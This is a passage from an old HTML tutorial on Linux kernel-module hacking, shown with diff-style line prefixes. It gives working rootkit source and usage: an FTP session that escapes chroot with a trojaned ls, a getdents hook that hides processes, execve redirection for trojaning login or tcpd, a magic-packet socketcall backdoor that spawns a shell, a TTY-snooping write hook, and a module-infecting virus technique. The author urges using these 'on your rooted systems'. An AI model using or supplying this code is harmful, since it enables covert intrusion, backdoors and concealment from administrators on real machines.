+drwxr-xr-x 5 user users 1024 Jun 21 11:26 ..
|
|
|
+d--x--x--x 2 root root 1024 Jun 21 11:26 bin
|
|
|
+drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
|
|
|
+drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
|
|
|
+226 Transfer complete.
|
|
|
+ftp> cd ..
|
|
|
+250 CWD command successful.
|
|
|
+ftp> ls
|
|
|
+200 PORT command successful.
|
|
|
+150 Opening ASCII mode data connection for /bin/ls.
|
|
|
+total 5
|
|
|
+drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
|
|
|
+drwxr-xr-x 5 user users 1024 Jun 21 21:26 ..
|
|
|
+d--x--x--x 2 root root 1024 Jun 21 11:26 bin
|
|
|
+drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
|
|
|
+drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
|
|
|
+226 Transfer complete.
|
|
|
+ftp> ls bin/ls
|
|
|
+200 PORT command successful.
|
|
|
+150 Opening ASCII mode data connection for /bin/ls.
|
|
|
+---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls
|
|
|
+226 Transfer complete.
|
|
|
+ftp> ren bin bin.old
|
|
|
+350 File exists, ready for destination name
|
|
|
+250 RNTO command successful.
|
|
|
+ftp> mkdir bin
|
|
|
+257 MKD command successful.
|
|
|
+ftp> cd bin
|
|
|
+250 CWD command successful.
|
|
|
+ftp> put ls
|
|
|
+226 Transfer complete.
|
|
|
+ftp> put insmod
|
|
|
+226 Transfer complete.
|
|
|
+ftp> put chr.o
|
|
|
+226 Transfer complete.
|
|
|
+ftp> chmod 555 ls
|
|
|
+200 CHMOD command successful.
|
|
|
+ftp> chmod 555 insmod
|
|
|
+200 CHMOD command successful.
|
|
|
+ftp> ls
|
|
|
+200 PORT command successful.
|
|
|
+150 Opening ASCII mode data connection for /bin/ls.
|
|
|
+UID: 0 EUID: 1002
|
|
|
+Cambiando EUID...
|
|
|
+UID: 0 EUID: 0
|
|
|
+Cargando modulo chroot...
|
|
|
+Modulo cargado.
|
|
|
+226 Transfer complete.
|
|
|
+ftp> bye
|
|
|
+221 Goodbye.
|
|
|
+thx:~#
|
|
|
+
|
|
|
+--> now we start a new FTP session without being restricted (LKM is loaded so
|
|
|
+ sys_chroot(...) is defeated. So do what you want (download passwd...)
|
|
|
+</xmp>
|
|
|
+In the Appendix you will find the complete source code for the new ls and the
|
|
|
+module.<br>
|
|
|
+
|
|
|
+<H3><A NAME="II.5."></A>5. Process related Hacks</h3>
|
|
|
+
|
|
|
+So far the filesystem is totally controlled by us. We discussed the most
|
|
|
+interesting 'Hacks'. Now its time to change the direction. We need to discuss
|
|
|
+LKMs confusing commands like 'ps' showing processes.
|
|
|
+
|
|
|
+<H4><A NAME="II.5.1."></A>5.1 How to hide any process</h4>
|
|
|
+
|
|
|
+The most important thing we need everyday is hiding a process from the admin.
|
|
|
+Imagine a sniffer, cracker (should normally not be done on hacked systems), ...
|
|
|
+seen by an admin when using 'ps'. Oldschool tricks like changing the name of the
|
|
|
+sniffer to something different, and hoping the admin is silly enough, are no good
|
|
|
+for the 21. century. We want to hide the process totally. So lets look at an
|
|
|
+implementation from plaguez (some very minor changes):
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+#include <linux/proc_fs.h>
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+/*process name we want to hide*/
|
|
|
+char mtroj[] = "my_evil_sniffer";
|
|
|
+
|
|
|
+int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
|
|
|
+
|
|
|
+/*convert a string to number*/
|
|
|
+int myatoi(char *str)
|
|
|
+{
|
|
|
+ int res = 0;
|
|
|
+ int mul = 1;
|
|
|
+ char *ptr;
|
|
|
+ for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
|
|
|
+ if (*ptr < '0' || *ptr > '9')
|
|
|
+ return (-1);
|
|
|
+ res += (*ptr - '0') * mul;
|
|
|
+ mul *= 10;
|
|
|
+ }
|
|
|
+ return (res);
|
|
|
+}
|
|
|
+
|
|
|
+/*get task structure from PID*/
|
|
|
+struct task_struct *get_task(pid_t pid)
|
|
|
+{
|
|
|
+ struct task_struct *p = current;
|
|
|
+ do {
|
|
|
+ if (p->pid == pid)
|
|
|
+ return p;
|
|
|
+ p = p->next_task;
|
|
|
+ }
|
|
|
+ while (p != current);
|
|
|
+ return NULL;
|
|
|
+}
|
|
|
+
|
|
|
+/*get process name from task structure*/
|
|
|
+static inline char *task_name(struct task_struct *p, char *buf)
|
|
|
+{
|
|
|
+ int i;
|
|
|
+ char *name;
|
|
|
+
|
|
|
+ name = p->comm;
|
|
|
+ i = sizeof(p->comm);
|
|
|
+ do {
|
|
|
+ unsigned char c = *name;
|
|
|
+ name++;
|
|
|
+ i--;
|
|
|
+ *buf = c;
|
|
|
+ if (!c)
|
|
|
+ break;
|
|
|
+ if (c == '\\') {
|
|
|
+ buf[1] = c;
|
|
|
+ buf += 2;
|
|
|
+ continue;
|
|
|
+ }
|
|
|
+ if (c == '\n') {
|
|
|
+ buf[0] = '\\';
|
|
|
+ buf[1] = 'n';
|
|
|
+ buf += 2;
|
|
|
+ continue;
|
|
|
+ }
|
|
|
+ buf++;
|
|
|
+ }
|
|
|
+ while (i);
|
|
|
+ *buf = '\n';
|
|
|
+ return buf + 1;
|
|
|
+}
|
|
|
+
|
|
|
+/*check whether we need to hide this process*/
|
|
|
+int invisible(pid_t pid)
|
|
|
+{
|
|
|
+ struct task_struct *task = get_task(pid);
|
|
|
+ char *buffer;
|
|
|
+ if (task) {
|
|
|
+ buffer = kmalloc(200, GFP_KERNEL);
|
|
|
+ memset(buffer, 0, 200);
|
|
|
+ task_name(task, buffer);
|
|
|
+ if (strstr(buffer, (char *) &mtroj)) {
|
|
|
+ kfree(buffer);
|
|
|
+ return 1;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+/*see II.4 for more information on filesystem hacks*/
|
|
|
+int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
|
|
|
+{
|
|
|
+ unsigned int tmp, n;
|
|
|
+ int t, proc = 0;
|
|
|
+ struct inode *dinode;
|
|
|
+ struct dirent *dirp2, *dirp3;
|
|
|
+
|
|
|
+ tmp = (*orig_getdents) (fd, dirp, count);
|
|
|
+
|
|
|
+#ifdef __LINUX_DCACHE_H
|
|
|
+ dinode = current->files->fd[fd]->f_dentry->d_inode;
|
|
|
+#else
|
|
|
+ dinode = current->files->fd[fd]->f_inode;
|
|
|
+#endif
|
|
|
+
|
|
|
+ if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
|
|
|
+ proc=1;
|
|
|
+ if (tmp > 0) {
|
|
|
+ dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
|
|
|
+ memcpy_fromfs(dirp2, dirp, tmp);
|
|
|
+ dirp3 = dirp2;
|
|
|
+ t = tmp;
|
|
|
+ while (t > 0) {
|
|
|
+ n = dirp3->d_reclen;
|
|
|
+ t -= n;
|
|
|
+ if ((proc && invisible(myatoi(dirp3->d_name)))) {
|
|
|
+ if (t != 0)
|
|
|
+ memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
|
|
|
+ else
|
|
|
+ dirp3->d_off = 1024;
|
|
|
+ tmp -= n;
|
|
|
+ }
|
|
|
+ if (t != 0)
|
|
|
+ dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
|
|
|
+ }
|
|
|
+ memcpy_tofs(dirp, dirp2, tmp);
|
|
|
+ kfree(dirp2);
|
|
|
+ }
|
|
|
+ return tmp;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ orig_getdents=sys_call_table[SYS_getdents];
|
|
|
+ sys_call_table[SYS_getdents]=hacked_getdents;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_getdents]=orig_getdents;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+The code seems complicated, but if you know how 'ps' and every process analyzing
|
|
|
+tool works, it is really easy to understand. Commands like 'ps' do not use any
|
|
|
+special systemcall for getting a list of the current processes (there exists no
|
|
|
+systemcall doing this). By strace'in 'ps' you will recognize that it gets its
|
|
|
+information from the /proc/ directory. There you can find lots of directories
|
|
|
+with names only consisting of numbers. Those numbers are the PIDs of all running
|
|
|
+processes on that system. Inside these directories you find files which provide
|
|
|
+any information on that process.So 'ps' just does an 'ls' on /proc/; every number
|
|
|
+it finds stands for a PID it shows in its well-known listing. The information it
|
|
|
+shows us about every process is gained from reading the files inside /proc/PID/.
|
|
|
+Now you should get the idea.'ps' must read the contents of the /proc/ directory,
|
|
|
+so it must use sys_getdents(...).We just must get the name of the a PID found in
|
|
|
+/proc/; if it is our process name we want to hide, we will hide it from /proc/
|
|
|
+(like we did with other files in the filesystem -> see 4.1). The two task
|
|
|
+functions and the invisible(...) function are only used to get the name for a
|
|
|
+given PID found in the proc directory and related stuff. The file hiding should
|
|
|
+be clear after studying 4.1.<br>
|
|
|
+I would improve only one point in plaguez approuch. I don't know why he used
|
|
|
+a selfmade atoi-function, simple_strtoul(...) would be the easier way, but these
|
|
|
+are peanuts. Of course, in a complete hide module you would put file and process
|
|
|
+hiding in one hacked getdents call (this is the way plaguez did it).<br>
|
|
|
+Runar Jensen used another, more complicated way. He also hides the PIDs from the
|
|
|
+/proc directory, but the way he checks whether to hide or not is a bit different.
|
|
|
+He uses the flags field in the task structure. This unsigned long field normally
|
|
|
+uses the following constants to save some information on the task :<br>
|
|
|
+<ul>
|
|
|
+<li>PF_PTRACED : current process is observed<br>
|
|
|
+<li>PF_TRACESYS : " " " "<br>
|
|
|
+<li>PF_STARTING : process is going to start<br>
|
|
|
+<li>PF_EXITING : process is going to terminate<br>
|
|
|
+</ul>
|
|
|
+Now Runar Jensen adds his own constant (PF_INVISIBLE) which he uses to indicate
|
|
|
+that the corresponding process should be invisible. So a PID found in /proc by
|
|
|
+using sys_getdents(...) must not be resolved in its name. You only have to check
|
|
|
+for the task flag field. This sounds easier than the 'name approach'. But how to
|
|
|
+set this flag for a process we want to hide. Runar Jensen used the easiest way
|
|
|
+by hooking sys_kill(...). The 'kill' command can send a special code (9 for
|
|
|
+termination, for example) to any process speciafied by his PID. So start your
|
|
|
+process which is going to be invisible, do a 'ps' for getting its PID. And use
|
|
|
+a 'kill -code PID'. The code field must be a value that is not used by the
|
|
|
+system (so 9 would be a bad choice); Runar Jensen took 32. So the module needs
|
|
|
+to hook sys_kill(...) and check for a code of 32. If so it must set the task
|
|
|
+flags field of the process specified through the PID given to sys_kill(...).
|
|
|
+This is a way to set the flag field. Now it is clear why this approach is a bit
|
|
|
+too complicated for an easy practical use.
|
|
|
+
|
|
|
+<H4><A NAME="II.5.2."></A>5.2 How to redirect Execution of files</h4>
|
|
|
+
|
|
|
+In certain situations it could be very interesting to redirect the execution
|
|
|
+of a file. Those files could be /bin/login (like plaguez did), tcpd, etc.. This
|
|
|
+would allow you to insert any trojan without problem of checksum checks on those
|
|
|
+files (you don't need to change them). So let's again search the responsible
|
|
|
+systemcall. sys_execve(...) is the one we need. Let's take a look at plaguez
|
|
|
+way of redirection (the original idea came from halflife) :<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+/*must be defined because of syscall macro used below*/
|
|
|
+int errno;
|
|
|
+
|
|
|
+/*we define our own systemcall*/
|
|
|
+int __NR_myexecve;
|
|
|
+
|
|
|
+/*we must use brk*/
|
|
|
+static inline _syscall1(int, brk, void *, end_data_segment);
|
|
|
+
|
|
|
+int (*orig_execve) (const char *, const char *[], const char *[]);
|
|
|
+
|
|
|
+/*here plaguez's user -> kernel space transition specialized for strings
|
|
|
+is better than memcpy_fromfs(...)*/
|
|
|
+char *strncpy_fromfs(char *dest, const char *src, int n)
|
|
|
+{
|
|
|
+ char *tmp = src;
|
|
|
+ int compt = 0;
|
|
|
+
|
|
|
+ do {
|
|
|
+ dest[compt++] = __get_user(tmp++, 1);
|
|
|
+ }
|
|
|
+ while ((dest[compt - 1] != '\0') && (compt != n));
|
|
|
+ return dest;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+/*this is something like a systemcall macro called with SYS_execve, the
|
|
|
+asm code calls int 0x80 with the registers set in a way needed for our own
|
|
|
+__NR_myexecve systemcall*/
|
|
|
+int my_execve(const char *filename, const char *argv[], const char *envp[])
|
|
|
+{
|
|
|
+ long __res;
|
|
|
+ __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
|
|
|
+ (filename)), "c"((long) (argv)), "d"((long) (envp)));
|
|
|
+ return (int) __res;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int hacked_execve(const char *filename, const char *argv[], const char *envp[])
|
|
|
+{
|
|
|
+ char *test;
|
|
|
+ int ret, tmp;
|
|
|
+ char *truc = "/bin/ls"; /*the file we *should* be executed*/
|
|
|
+ char *nouveau = "/bin/ps"; /*the new file which *will* be executed*/
|
|
|
+ unsigned long mmm;
|
|
|
+
|
|
|
+ test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
|
|
|
+ /*get file which a user wants to execute*/
|
|
|
+ (void) strncpy_fromfs(test, filename, strlen(truc));
|
|
|
+ test[strlen(truc)] = '\0';
|
|
|
+ /*do we have our truc file ?*/
|
|
|
+ if (!strcmp(test, truc))
|
|
|
+ {
|
|
|
+ kfree(test);
|
|
|
+ mmm = current->mm->brk;
|
|
|
+ ret = brk((void *) (mmm + 256));
|
|
|
+ if (ret < 0)
|
|
|
+ return ret;
|
|
|
+ /*set new program name (the program we want to execute instead of /bin/ls or
|
|
|
+ whatever)*/
|
|
|
+ memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
|
|
|
+ /*execute it with the *same* arguments / environment*/
|
|
|
+ ret = my_execve((char *) (mmm + 2), argv, envp);
|
|
|
+ tmp = brk((void *) mmm);
|
|
|
+ } else {
|
|
|
+ kfree(test);
|
|
|
+ /*no the program was not /bin/ls so execute it the normal way*/
|
|
|
+ ret = my_execve(filename, argv, envp);
|
|
|
+ }
|
|
|
+ return ret;
|
|
|
+}
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ /*the following lines choose the systemcall number of our new myexecve*/
|
|
|
+ __NR_myexecve = 200;
|
|
|
+ while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
|
|
|
+ __NR_myexecve--;
|
|
|
+
|
|
|
+ orig_execve = sys_call_table[SYS_execve];
|
|
|
+ if (__NR_myexecve != 0)
|
|
|
+ {
|
|
|
+ sys_call_table[__NR_myexecve] = orig_execve;
|
|
|
+ sys_call_table[SYS_execve] = (void *) hacked_execve;
|
|
|
+ }
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_execve]=orig_execve;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+When you loaded this module, every call to /bin/ls will just execute /bin/ps.
|
|
|
+The following list gives you some ideas how to use this redirection of execve :
|
|
|
+<ul>
|
|
|
+<li>trojan /bin/login with a hacker login (how plaguez suggests)<br>
|
|
|
+<li>trojan tcpd to open a rootshell on a certain port, or to filter its logging
|
|
|
+ behaviour (remember CERT advisory on a trojan TCPD version)<br>
|
|
|
+<li>trojan inetd for a root shell<br>
|
|
|
+<li>trojan httpd, sendmail, ... any server you can think of, for a rootshell, by
|
|
|
+ issuing a special magic string<br>
|
|
|
+<li>trojan tools like tripwire, L6<br>
|
|
|
+<li>other system security relevant tools<br>
|
|
|
+</ul>
|
|
|
+There are thousands of other intersting programs to 'trojan', just use your
|
|
|
+brain.
|
|
|
+
|
|
|
+<H3><A NAME="II.6."></A>6. Network (Socket) related Hacks</h3>
|
|
|
+
|
|
|
+The network is the hacker's playground. So let's look at something which can
|
|
|
+help us.
|
|
|
+
|
|
|
+<H4><A NAME="II.6.1."></A>6.1 How to controll Socket Operations</h4>
|
|
|
+
|
|
|
+There are many things you can do by controlling Socket Operations. plaguez gave
|
|
|
+us a nice backdoor. He just intercepts the sys_socketcall systemcall, waiting
|
|
|
+for a packet with a certain length and a certain contents. So let's take a look
|
|
|
+at his hacked systemcall (I will only show the hacked_systemcall, because the
|
|
|
+rest is equal to every other LKM mentioned in this section) :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+int hacked_socketcall(int call, unsigned long *args)
|
|
|
+{
|
|
|
+ int ret, ret2, compt;
|
|
|
+
|
|
|
+ /*our magic size*/
|
|
|
+ int MAGICSIZE=42;
|
|
|
+
|
|
|
+ /*our magic contents*/
|
|
|
+ char *t = "packet_contents";
|
|
|
+ unsigned long *sargs = args;
|
|
|
+ unsigned long a0, a1, mmm;
|
|
|
+ void *buf;
|
|
|
+
|
|
|
+ /*do the call*/
|
|
|
+ ret = (*o_socketcall) (call, args);
|
|
|
+
|
|
|
+ /*did we have magicsize & and a recieve ?*/
|
|
|
+ if (ret == MAGICSIZE && call == SYS_RECVFROM)
|
|
|
+ {
|
|
|
+ /*work on arguments*/
|
|
|
+ a0 = get_user(sargs);
|
|
|
+ a1 = get_user(sargs + 1);
|
|
|
+ buf = kmalloc(ret, GFP_KERNEL);
|
|
|
+ memcpy_fromfs(buf, (void *) a1, ret);
|
|
|
+ for (compt = 0; compt < ret; compt++)
|
|
|
+ if (((char *) (buf))[compt] == 0)
|
|
|
+ ((char *) (buf))[compt] = 1;
|
|
|
+ /*do we have magic_contents ?*/
|
|
|
+ if (strstr(buf, mtroj))
|
|
|
+ {
|
|
|
+ kfree(buf);
|
|
|
+ ret2 = fork();
|
|
|
+ if (ret2 == 0)
|
|
|
+ {
|
|
|
+ /*if so execute our proggy (shell or whatever you want...) */
|
|
|
+ mmm = current->mm->brk;
|
|
|
+ ret2 = brk((void *) (mmm + 256));
|
|
|
+ memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
|
|
|
+
|
|
|
+ /*plaguez's execve implementation -> see 4.2*/
|
|
|
+ ret2 = my_execve((char *) mmm + 2, NULL, NULL);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ return ret;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Ok, as always I added some comments to the code, which is a bit ugly, but working.
|
|
|
+The code intercepts every sys_socketcall (which is responsible for everything
|
|
|
+concerning socket-operations see I.2). Inside the hacked systemcall the code
|
|
|
+first issues a normal systemcall. After that the return value and call variables
|
|
|
+are checked. If it was a receive Socketcall and the 'packetsize' (...nothing to
|
|
|
+do with TCP/IP packets...) is ok it will check the contents which was received.
|
|
|
+If it can find our magic contents, the code can be sure,that we (hacker) want to
|
|
|
+start the backdoor program. This is done by my_execve(...).<br>
|
|
|
+In my opinion this approach is very good, it would also be possible to wait
|
|
|
+for a speciel connect / close pattern, just be creative.<br>
|
|
|
+Please remember that the methods mentioned above need a service listing on a
|
|
|
+certain port, because the receive function is only issued by daemons receiving
|
|
|
+data from an established connection. This is a disadvantage, because it could be
|
|
|
+a bit suspect for some paranoid admins out there. Test those backdoor LKM ideas
|
|
|
+first on your system to see what will happen. Find your favourite way of
|
|
|
+backdoor'ing the sys_socketcall, and use it on your rooted systems.
|
|
|
+
|
|
|
+<H3><A NAME="II.7."></A>7. Ways to TTY Hijacking</h3>
|
|
|
+
|
|
|
+TTY hijacking is very interesting and also something used since a very very long
|
|
|
+time. We can grab every input from a TTY we specify throug its major and minor
|
|
|
+number. In Phrack 50 halflife published a really good LKM doing this. The
|
|
|
+following code is ripped from his LKM. It should show every beginner the basics
|
|
|
+of TTY hijacking though its no complete implementation, you cannot use it in any
|
|
|
+useful way, because I did <i>not</i> implement a way of logging the TTY input made
|
|
|
+by the user. It's just for those of you who want to understand the basics, so
|
|
|
+here we go :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+#include <asm/io.h>
|
|
|
+#include <sys/sysmacros.h>
|
|
|
+
|
|
|
+
|
|
|
+int errno;
|
|
|
+
|
|
|
+/*the TTY we want to hijack*/
|
|
|
+int tty_minor = 2;
|
|
|
+int tty_major = 4;
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+/*we need the write systemcall*/
|
|
|
+static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
|
|
|
+
|
|
|
+void *original_write;
|
|
|
+
|
|
|
+/* check if it is the tty we are looking for */
|
|
|
+int is_fd_tty(int fd)
|
|
|
+{
|
|
|
+ struct file *f=NULL;
|
|
|
+ struct inode *inode=NULL;
|
|
|
+ int mymajor=0;
|
|
|
+ int myminor=0;
|
|
|
+
|
|
|
+ if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
|
|
|
+ return 0;
|
|
|
+ mymajor = major(inode->i_rdev);
|
|
|
+ myminor = minor(inode->i_rdev);
|
|
|
+ if(mymajor != tty_major) return 0;
|
|
|
+ if(myminor != tty_minor) return 0;
|
|
|
+ return 1;
|
|
|
+}
|
|
|
+
|
|
|
+/* this is the new write(2) replacement call */
|
|
|
+extern int new_write(int fd, char *buf, size_t count)
|
|
|
+{
|
|
|
+ int r;
|
|
|
+ char *kernel_buf;
|
|
|
+
|
|
|
+ if(is_fd_tty(fd))
|
|
|
+ {
|
|
|
+ kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);
|
|
|
+ memcpy_fromfs(kernel_buf, buf, count);
|
|
|
+
|
|
|
+ /*at this point you can output buf whereever you want, it represents
|
|
|
+ every input on the TTY device referenced by the chosen major / minor
|
|
|
+ number
|
|
|
+ I did not implement such a routine, because you will see a complete &
|
|
|
+ very good TTY hijacking tool by halflife in appendix A */
|
|
|
+
|
|
|
+ kfree(kernel_buf);
|
|
|
+ }
|
|
|
+ sys_call_table[SYS_write] = original_write;
|
|
|
+ r = write(fd, buf, count);
|
|
|
+ sys_call_table[SYS_write] = new_write;
|
|
|
+ if(r == -1) return -errno;
|
|
|
+ else return r;
|
|
|
+}
|
|
|
+
|
|
|
+int init_module(void)
|
|
|
+{
|
|
|
+ /*you should know / understand this...*/
|
|
|
+ original_write = sys_call_table[SYS_write];
|
|
|
+ sys_call_table[SYS_write] = new_write;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+void cleanup_module(void)
|
|
|
+{
|
|
|
+ /*no more hijacking*/
|
|
|
+ sys_call_table[SYS_write] = original_write;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+
|
|
|
+The comments should make this code easy to read.The general idea is to intercept
|
|
|
+sys_write (see 4.2) and filtering the fd value as I mentioned in 4.2. After
|
|
|
+checking fd for the TTY we want to snoop, get the data written and write it
|
|
|
+to some log (not implemented in the example above).There are several ways where
|
|
|
+you can store the logs.halflife used a buffer (accessible through an own device)
|
|
|
+which is a good idea (he can also control his hijack'er using ioctl-commands
|
|
|
+on his device).<br>
|
|
|
+I personally would recommand storing the logs in hidden (through LKM) file,
|
|
|
+and making the controlling through some kind of IPC. Take the way which works
|
|
|
+on your rooted system.<br>
|
|
|
+
|
|
|
+<H3><A NAME="II.8."></A>8. Virus writing with LKMs</h3>
|
|
|
+
|
|
|
+Now we will leave the hacking part for a second and take a look at the
|
|
|
+world of virus coding (the ideas discussed here could also be
|
|
|
+interesting for hackers, so read on...). I will concentrate this discussion
|
|
|
+on the LKM infector made by Stealthf0rk/SVAT. In appendix A you will get the
|
|
|
+complete source, so this section will only discuss important techniques and
|
|
|
+functions. This LKM requires a Linux system (it was tested on a 2.0.33 system)
|
|
|
+and kerneld installed (I will explain why).<br>
|
|
|
+First of all you have to know that this LKM infector does not infect normal
|
|
|
+elf <i>executables</i> (would also be possible,I will come to that point later->7.1),
|
|
|
+it only infects <i>modules</i>, which are loaded / unloaded. This loading / unloading
|
|
|
+is often managed by kerneld (see I.7). So imagine a module infected with the
|
|
|
+virus code; when loading this module you also load the virus LKM which uses
|
|
|
+hiding features (see 8). This virus module intercepts the sys_create_module
|
|
|
+and sys_delete_module (see I.2) systemcalls for further infection. Whenever
|
|
|
+a module is unloaded on that system it is infected by the new sys_delete_module
|
|
|
+systemcall. So every module requested by kerneld (or manually) will be infected
|
|
|
+when unloaded.<br>
|
|
|
+You could imagine the following scenario for the first infection :
|
|
|
+<ul>
|
|
|
+<li>admin is searching a network driver for his new interface card (ethernet,...)<br>
|
|
|
+<li>he starts searching the web <br>
|
|
|
+<li>he finds a driver module which should work on his system & downloads it<br>
|
|
|
+<li>he installs the module on his system [the module <i>is</i> infected]<br>
|
|
|
+--> the infector is installed, the system is compromised<br>
|
|
|
+</ul>
|
|
|
+Of course, he did not download the source, he was lazy and took the risks using
|
|
|
+a binary file. So admins <i>never</i> trust any binary files (esp. modules).
|
|
|
+So I hope you see the chances / risks of LKM infectors, now let's look a bit
|
|
|
+closer at the LKM infector by SVAT.<br>
|
|
|
+Imagine you have the source for the virus LKM (a simple module, which intercepts
|
|
|
+sys_create_module / sys_delete_module and some other [more tricky] stuff). The
|
|
|
+first question would be how to infect an existing module (the host module). Well
|
|
|
+let's do some experimenting. Take two modules and 'cat' them together like
|
|
|
+
|
|
|
+<xmp>
|
|
|
+# cat module1.o >> module2.o
|
|
|
+</xmp>
|
|
|
+
|
|
|
+After this try to insmod the resulting module2.o (which also includes module1.o
|
|
|
+at its end).
|
|
|
+
|
|
|
+<xmp>
|
|
|
+# insmod module2.o
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Ok it worked, now check which modules are loaded on your system
|
|
|
+
|
|
|
+<xmp>
|
|
|
+# lsmod
|
|
|
+Module Pages Used by
|
|
|
+module2 1 0
|
|
|
+</xmp>
|
|
|
+
|
|
|
+So we know that by concatenating two modules the first one (concerning object
|
|
|
+code) will be loaded, the second one will be ignored. And there will be no error
|
|
|
+saying that insmod can not load corrupted code or so.<br>
|
|
|
+With this in mind, it should be clear that a host module could be infected by
|
|
|
+
|
|
|
+<xmp>
|
|
|
+cat host_module.o >> virus_module.o
|
|
|
+ren virus_module.o host_module.o
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This way loading host_module.o will load the virus with all its nice LKM
|
|
|
+features. But there is one problem, how do we load the actual host_module ? It
|
|
|
+would be very strange to a user / admin when his device driver would do nothing.
|
|
|
+Here we need the help of kerneld. As I said in I.7 you can use kerneld to load
|
|
|
+a module. Just use request_module("module_name") in your sources.This will force
|
|
|
+kerneld to load the specified module. But where do we get the original host
|
|
|
+module from ? It is packed in host_module.o (together with virus_module.o). So
|
|
|
+after compiling your virus_module.c to its objectcode you have to look at its
|
|
|
+size (how many bytes). After this you know where the original host_module.o will
|
|
|
+begin in the packed one (you must compile the virus_module two times : the first
|
|
|
+one to check the objectcode size, the second one with the source changed
|
|
|
+concerning objectsize which must be hardcoded...). After these steps your
|
|
|
+virus_module should be able to extract the original host_module.o from the
|
|
|
+packed one. You have to save this extracted module somewhere, and load it via
|
|
|
+request_module("orig_host_module.o"). After loading the original host_module.o
|
|
|
+your virus_module (which is also loaded from the insmod [issued by user, or
|
|
|
+kerneld]) can start infecting any loaded modules.<br>
|
|
|
+Stealthf0rk (SVAT) used the sys_delete_module(...) systemcall for doing the
|
|
|
+infection, so let's take a look at his hacked systemcall (I only added some
|
|
|
+comments) :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/*just the hacked systemcall*/
|
|
|
+int new_delete_module(char *modname)
|
|
|
+{
|
|
|
+ /*number of infected modules*/
|
|
|
+ static int infected = 0;
|
|
|
+ int retval = 0, i = 0;
|
|
|
+ char *s = NULL, *name = NULL;
|
|
|
+
|
|
|
+ /*call the original sys_delete_module*/
|
|
|
